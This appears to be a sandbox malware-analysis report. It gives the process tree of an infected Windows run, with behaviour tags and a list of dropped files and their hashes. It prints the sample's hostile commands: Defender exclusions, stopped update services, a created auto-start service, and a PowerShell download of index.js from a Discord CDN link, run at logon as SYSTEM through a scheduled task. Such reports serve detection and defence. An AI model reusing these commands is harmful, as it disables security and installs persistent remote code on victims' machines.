"C:\Users\Admin\AppData\Local\Programs\Steam\Steam.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\Steam" --field-trial-handle=1900,i,11278936719944461836,1048867171711625382,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=1300 /prefetch:3
6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2084

C:\Windows\system32\cscript.exe
cscript.exe //Nologo C:\Users\Admin\AppData\Local\Programs\Steam\resources\app.asar.unpacked\node_modules\regedit\vbs\regList.wsf A HKCU\Software\Valve\Steam
6⤵
PID:5980

C:\Users\Admin\AppData\Roaming\rngdwwxv.c5a1.exe
"C:\Users\Admin\AppData\Roaming\rngdwwxv.c5a1.exe"
4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4668

C:\Users\Admin\AppData\Roaming\rngdwwxv.c5a2.exe
"C:\Users\Admin\AppData\Roaming\rngdwwxv.c5a2.exe"
4⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1180

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:248

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
5⤵
PID:4944

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
6⤵
PID:5048

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
5⤵
- Launches sc.exe
PID:2392

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
5⤵
- Launches sc.exe
PID:4660

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
5⤵
- Launches sc.exe
PID:5380

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
5⤵
- Launches sc.exe
PID:4408

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
5⤵
- Launches sc.exe
PID:5608

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
5⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:5628

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
5⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4552

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
5⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2792

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
5⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:5492

C:\Windows\system32\dialer.exe
C:\Windows\system32\dialer.exe
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5456

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe delete "AAWUFTXN"
5⤵
- Launches sc.exe
PID:3480

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe create "AAWUFTXN" binpath= "C:\ProgramData\acspebqjhjkn\gjouiuwovvdx.exe" start= "auto"
5⤵
- Launches sc.exe
PID:5376

C:\Users\Admin\AppData\Roaming\rngdwwxv.c5a3.exe
"C:\Users\Admin\AppData\Roaming\rngdwwxv.c5a3.exe"
4⤵
- Executes dropped EXE
PID:920

C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\E520.tmp\E521.tmp\E522.bat C:\Users\Admin\AppData\Roaming\rngdwwxv.c5a3.exe"
5⤵
PID:3708

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
6⤵
PID:2464

C:\Windows\system32\where.exe
where node
6⤵
PID:2084

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Invoke-WebRequest -Uri 'https://nodejs.org/dist/v20.12.2/node-v20.12.2-x64.msi' -OutFile 'nodejs-installer.msi'"
6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4476

C:\Windows\system32\msiexec.exe
msiexec /i nodejs-installer.msi /quiet
6⤵
PID:5348

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Invoke-WebRequest -Uri 'https://cdn.discordapp.com/attachments/1249224125830922300/1249224157745516664/index.js?ex=666dc668&is=666c74e8&hm=5dfd52c5327ffb2554e248dcb902443533012613ad4f330995dc83169665440c&' -OutFile 'C:\Users\Admin\AppData\Local\Temp\chrome2\index.js'"
6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
PID:2296

C:\Windows\system32\schtasks.exe
schtasks /Create /SC ONLOGON /TN "RunNodeScriptAtLogon" /TR "node.exe 'C:\Users\Admin\AppData\Local\Temp\chrome2\index.js'" /RU SYSTEM /F
6⤵
- Scheduled Task/Job: Scheduled Task
PID:1480

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
2⤵
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3152

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffc32543cb8,0x7ffc32543cc8,0x7ffc32543cd8
3⤵
PID:2316

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1856,13762546390099565944,8884822767996506487,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1880 /prefetch:2
3⤵
PID:3496

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1856,13762546390099565944,8884822767996506487,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 /prefetch:3
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:1868

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1856,13762546390099565944,8884822767996506487,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2528 /prefetch:8
3⤵
PID:1960

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,13762546390099565944,8884822767996506487,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3232 /prefetch:1
3⤵
PID:1256

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,13762546390099565944,8884822767996506487,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3248 /prefetch:1
3⤵
PID:3168

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,13762546390099565944,8884822767996506487,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4056 /prefetch:1
3⤵
PID:4784

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,13762546390099565944,8884822767996506487,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4896 /prefetch:1
3⤵
PID:3416

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1856,13762546390099565944,8884822767996506487,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4572 /prefetch:8
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:1212

C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1856,13762546390099565944,8884822767996506487,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5472 /prefetch:8
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:748

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,13762546390099565944,8884822767996506487,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3416 /prefetch:1
3⤵
PID:3164

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,13762546390099565944,8884822767996506487,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4484 /prefetch:1
3⤵
PID:2504

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,13762546390099565944,8884822767996506487,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4032 /prefetch:1
3⤵
PID:3644

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,13762546390099565944,8884822767996506487,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3900 /prefetch:1
3⤵
PID:3736

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1856,13762546390099565944,8884822767996506487,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5772 /prefetch:8
3⤵
PID:1524

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=1856,13762546390099565944,8884822767996506487,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=5024 /prefetch:8
3⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
PID:4876

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,13762546390099565944,8884822767996506487,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5832 /prefetch:1
3⤵
PID:896

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,13762546390099565944,8884822767996506487,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5864 /prefetch:1
3⤵
PID:2940

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,13762546390099565944,8884822767996506487,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5664 /prefetch:1
3⤵
PID:4352

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,13762546390099565944,8884822767996506487,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5956 /prefetch:1
3⤵
PID:412

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,13762546390099565944,8884822767996506487,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3896 /prefetch:1
3⤵
PID:4944

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,13762546390099565944,8884822767996506487,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5996 /prefetch:1
3⤵
PID:3564

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,13762546390099565944,8884822767996506487,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4868 /prefetch:1
3⤵
PID:1916

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,13762546390099565944,8884822767996506487,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5952 /prefetch:1
3⤵
PID:2792

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,13762546390099565944,8884822767996506487,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6376 /prefetch:1
3⤵
PID:648

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1856,13762546390099565944,8884822767996506487,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6704 /prefetch:8
3⤵
PID:2392

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,13762546390099565944,8884822767996506487,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4824 /prefetch:1
3⤵
PID:5516

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1856,13762546390099565944,8884822767996506487,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6352 /prefetch:8
3⤵
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
PID:5404

C:\Users\Admin\Downloads\osu!install.exe
"C:\Users\Admin\Downloads\osu!install.exe"
2⤵
- Executes dropped EXE
PID:5828

C:\Users\Admin\AppData\Local\osu!\osu!.exe
"C:\Users\Admin\AppData\Local\osu!\osu!.exe"
3⤵
- Executes dropped EXE
- Modifies system certificate store
PID:5928

C:\Users\Admin\AppData\Local\osu!\osu!.exe
"C:\Users\Admin\AppData\Local\osu!\osu!.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3124

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3444

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3500

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3840

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3920

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4008

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:4036

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:4328

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4420

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:396

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:3752

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:1188

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:2280

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:3776

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:3596

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1588

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4204

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc
1⤵
PID:2804

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:2976

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1520

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4468

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:3512

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2504

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:5892

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4416

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
PID:5608

C:\Windows\System32\MsiExec.exe
C:\Windows\System32\MsiExec.exe -Embedding 2D3A831E89821A6A60ADF9E1553EB5D2
2⤵
- Loads dropped DLL
PID:5396

C:\Windows\System32\MsiExec.exe
C:\Windows\System32\MsiExec.exe -Embedding A3EA24475B140D05AE0D07E6D62C3476 E Global\MSI0000
2⤵
- Loads dropped DLL
PID:5552

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding 5A3033D4A121C248807EBE9F8B87DB7F
2⤵
- Loads dropped DLL
PID:5096

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe" -ServerName:MiniSearchUI.AppXj3y73at8fy1htwztzxs68sxx1v7cksp7.mca
1⤵
- Suspicious use of SetWindowsHookEx
PID:1372

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:1516

C:\Windows\System32\GameBarPresenceWriter.exe
"C:\Windows\System32\GameBarPresenceWriter.exe" -ServerName:Windows.Gaming.GameBar.Internal.PresenceWriterServer
1⤵
PID:2952

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k BcastDVRUserService -s BcastDVRUserService
1⤵
- Drops desktop.ini file(s)
- Checks processor information in registry
- Modifies registry class
PID:5604

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:5408

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks SCSI registry key(s)
PID:5480

C:\Windows\System32\GameBarPresenceWriter.exe
"C:\Windows\System32\GameBarPresenceWriter.exe" -ServerName:Windows.Gaming.GameBar.Internal.PresenceWriterServer
1⤵
PID:2776

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:1832

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k BcastDVRUserService -s BcastDVRUserService
1⤵
PID:5060

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:712

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Config.Msi\e58828c.rbs
Filesize
823KB

MD5
5ea6a5af7b446753d744f85ff87293f1

SHA1
8511fa38ac2a6eabccd0dedbb6ad51fab3251618

SHA256
5caf857683b539e4be88232f601bed5e9e581273d501daa53aa992db2e756c5f

SHA512
b388dcae95676fc5c6fbf81302de2833f9595fe1730539416aaafceec345f3e7b556cb5761ee6ffb25d3ca296d777e2a021fc6d1e57641a4b473f57a89fbd8b2

Download Submit
C:\Program Files\nodejs\node_modules\npm\node_modules\@sigstore\tuf\LICENSE
Filesize
11KB

MD5
dfc1b916d4555a69859202f8bd8ad40c

SHA1
fc22b6ee39814d22e77fe6386c883a58ecac6465

SHA256
7b0ce3425a26fdba501cb13508af096ade77e4036dd2bd8849031ddecf64f7c9

SHA512
1fbe6bb1f60c8932e4dcb927fc8c8131b9c73afd824ecbabc2045e7af07b35a4155a0f8ad3103bf25f192b6d59282bfc927aead3cb7aaeb954e1b6dbd68369fa

Download Submit
C:\Program Files\nodejs\node_modules\npm\node_modules\@sigstore\verify\dist\shared.types.js
Filesize
79B

MD5
24563705cc4bb54fccd88e52bc96c711

SHA1
871fa42907b821246de04785a532297500372fc7

SHA256
ef1f170ad28f2d870a474d2f96ae353d770fff5f20e642cd8f9b6f1d7742df13

SHA512
2ce8d2cf580623358fef5f4f8925d0c9943a657c2503c80048ca789bf16eacdb980bfc8aaaa50101a738e939926fcf2545500484dcad782c700ee206d8c6f9b9

Download Submit
C:\Program Files\nodejs\node_modules\npm\node_modules\bin-links\LICENSE
Filesize
754B

MD5
d2cf52aa43e18fdc87562d4c1303f46a

SHA1
58fb4a65fffb438630351e7cafd322579817e5e1

SHA256
45e433413760dc3ae8169be5ed9c2c77adc31ad4d1bc5a28939576df240f29a0

SHA512
54e33d7998b5e9ba76b2c852b4d0493ebb1b1ee3db777c97e6606655325ff66124a0c0857ca4d62de96350dbaee8d20604ec22b0edc17b472086da4babbbcb16

Download Submit
C:\Program Files\nodejs\node_modules\npm\node_modules\chalk\license
Filesize
1KB

MD5
b862aeb7e1d01452e0f07403591e5a55

SHA1
b8765be74fea9525d978661759be8c11bab5e60e

SHA256
fcf1a18be2e25ba82acf2c59821b030d8ee764e4e201db6ef3c51900d385515f

SHA512
885369fe9b8cb0af1107ee92b52c6a353da7cf75bc86abb622e2b637c81e9c5ffe36b0ac74e11cfb66a7a126b606fe7a27e91f3f4338954c847ed2280af76a5f

Download Submit
C:\Program Files\nodejs\node_modules\npm\node_modules\env-paths\license
Filesize
1KB

MD5
5ad87d95c13094fa67f25442ff521efd

SHA1
01f1438a98e1b796e05a74131e6bb9d66c9e8542

SHA256
67292c32894c8ac99db06ffa1cb8e9a5171ef988120723ebe673bf76712260ec

SHA512
7187720ccd335a10c9698f8493d6caa2d404e7b21731009de5f0da51ad5b9604645fbf4bc640aa94513b9eb372aa6a31df2467198989234bc2afbce87f76fbc3

Download Submit
C:\Program Files\nodejs\node_modules\npm\node_modules\gauge\LICENSE.md
Filesize
818B

MD5
2916d8b51a5cc0a350d64389bc07aef6

SHA1
c9d5ac416c1dd7945651bee712dbed4d158d09e1

SHA256
733dcbf5b1c95dc765b76db969b998ce0cbb26f01be2e55e7bccd6c7af29cb04

SHA512
508c5d1842968c478e6b42b94e04e0b53a342dfaf52d55882fdcfe02c98186e9701983ab5e9726259fba8336282e20126c70d04fc57964027586a40e96c56b74

Download Submit
C:\Program Files\nodejs\node_modules\npm\node_modules\ignore-walk\LICENSE
Filesize
780B

MD5
b020de8f88eacc104c21d6e6cacc636d

SHA1
20b35e641e3a5ea25f012e13d69fab37e3d68d6b

SHA256
3f24d692d165989cd9a00fe35ca15a2bc6859e3361fa42aa20babd435f2e4706

SHA512
4220617e29dd755ad592295bc074d6bc14d44a1feeed5101129669f3ecf0e34eaa4c7c96bbc83da7352631fa262baab45d4a370dad7dabec52b66f1720c28e38

Download Submit
C:\Program Files\nodejs\node_modules\npm\node_modules\libnpmsearch\LICENSE
Filesize
730B

MD5
072ac9ab0c4667f8f876becedfe10ee0

SHA1
